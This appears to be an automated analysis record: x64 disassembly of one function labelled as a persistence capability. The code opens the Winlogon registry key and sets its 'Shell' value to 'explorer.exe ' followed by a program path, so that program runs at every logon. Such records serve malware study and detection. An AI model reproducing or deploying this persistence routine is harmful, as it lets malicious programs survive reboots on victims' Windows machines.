Function at 0x1400636f0
Capabilities:
Persist via winlogon helper dll registry key
Set registry value

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xf0
mov rax, qword [0x1400e8180]
xor rax, rsp
mov qword [rbp + 0x27], rax
mov rdi, rcx
mov qword [rbp - 0x61], rcx
xor r12d, r12d
mov dword [rbp - 0x71], r12d
mov qword [rbp - 0x69], r12
mov rdx, rcx
lea rcx, [rbp + 7]
call fcn.14002f5c0
nop
lea rcx, [rbp + 7]
cmp qword [rbp + 0x1f], 8
cmovae rcx, qword [rbp + 7]
mov rax, qword [rbp + 0x17]
lea rbx, [rcx + rax*2]
mov r11, rbx
mov rdx, rbx
call fcn.14003a1a0
cmp rax, rbx
je 0x14006379b
movzx ecx, word [rax]
cmp cx, 0x5c
je 0x140063770
cmp cx, 0x2f
jne 0x140063780
add rax, 2
jmp 0x14006375c
lea rcx, [r11 - 2]
movzx edx, word [rcx]
cmp dx, 0x5c
je 0x14006379b
cmp dx, 0x2f
je 0x14006379b
mov r11, rcx
cmp rax, rcx
jne 0x140063780
sub rbx, r11
sar rbx, 1
mov qword [rbp - 0x39], r12
mov qword [rbp - 0x29], r12
mov qword [rbp - 0x21], 7
mov word [rbp - 0x39], r12w
mov r8, rbx
mov rdx, r11
lea rcx, [rbp - 0x39]
call fcn.140021590
nop
lea r14, [rbp - 0x39]
cmp qword [rbp - 0x21], 8
cmovae r14, qword [rbp - 0x39]
mov rsi, qword [rbp - 0x29]
call fcn.14008221c
mov r15d, eax
mov qword [rbp - 0x59], r12
mov rcx, r12
mov qword [rbp - 0x49], rcx
mov edx, 0xf
mov qword [rbp - 0x41], rdx
mov byte [rbp - 0x59], cl
mov dword [rbp - 0x71], 0x47
test rsi, rsi
je 0x140063877
cmp rsi, 0x7fffffff
ja 0x140063b07
mov dword [rsp + 0x20], r12d
xor r9d, r9d
mov r8d, esi
mov rdx, r14
mov ecx, eax
call fcn.14008228c
mov rbx, rax
shr rax, 0x20
test eax, eax
jne 0x140063b0d
movsxd rdx, ebx
xor r8d, r8d
lea rcx, [rbp - 0x59]
call fcn.140023930
lea r9, [rbp - 0x59]
cmp qword [rbp - 0x41], 0x10
cmovae r9, qword [rbp - 0x59]
mov dword [rsp + 0x20], ebx
mov r8d, esi
mov rdx, r14
mov ecx, r15d
call fcn.14008228c
shr rax, 0x20
test eax, eax
jne 0x140063b15
mov rdx, qword [rbp - 0x41]
mov rcx, qword [rbp - 0x49]
movabs rax, 0x7fffffffffffffff
sub rax, rcx
cmp rax, 0xd
jb 0x140063b1d
lea rax, [rbp - 0x59]
cmp rdx, 0x10
cmovae rax, qword [rbp - 0x59]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0xd
lea r9, str.explorer.exe_
lea r8, [rbp - 0x59]
movzx edx, byte [rbp - 0x79]
lea rcx, [rbp - 0x19]
call fcn.14002d660
lea rax, [rbp - 0x69]
mov qword [rsp + 0x20], rax
mov r9d, 0x20006
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140063952
lea rax, [rbp - 0x19]
mov rdx, qword [rbp - 0x19]
mov r8, qword [rbp - 1]
cmp r8, 0x10
cmovae rax, rdx
mov rcx, 0xffffffffffffffff
nop dword [rax + rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x140063910
lea rax, [rbp - 0x19]
cmp r8, 0x10
cmovae rax, rdx
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.Shell
mov rcx, qword [rbp - 0x69]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbp - 0x69]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdx, qword [rbp - 1]
cmp rdx, 0x10
jb 0x14006398d
inc rdx
mov rcx, qword [rbp - 0x19]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140063988
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140063b23
call fcn.140080f50
mov qword [rbp - 9], r12
mov qword [rbp - 1], 0xf
mov byte [rbp - 0x19], 0
mov rdx, qword [rbp - 0x41]
cmp rdx, 0x10
jb 0x1400639d8
inc rdx
mov rcx, qword [rbp - 0x59]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400639d3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140063b29
call fcn.140080f50
mov qword [rbp - 0x49], r12
mov qword [rbp - 0x41], 0xf
mov byte [rbp - 0x59], 0
mov rdx, qword [rbp - 0x21]
cmp rdx, 8
jb 0x140063a28
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x39]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140063a23
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140063b2f
call fcn.140080f50
movdqa xmm0, xmmword [0x1400d4aa0]
movdqu xmmword [rbp - 0x29], xmm0
mov word [rbp - 0x39], r12w
mov rdx, qword [rbp + 0x1f]
cmp rdx, 8
jb 0x140063a7a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 7]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140063a75
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140063afb
call fcn.140080f50
movdqa xmm0, xmmword [0x1400d4aa0]
movdqu xmmword [rbp + 0x17], xmm0
mov word [rbp + 7], r12w
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x140063ac2
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x140063abd
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140063b01
mov rcx, r8
call fcn.140080f50
mov qword [rdi + 0x10], r12
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
xor eax, eax
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.140080f30
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400030e0
int3
mov ecx, eax
call fcn.140003c20
int3
mov ecx, eax
call fcn.140003c20
nop
call fcn.140002cb0
int3
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
int3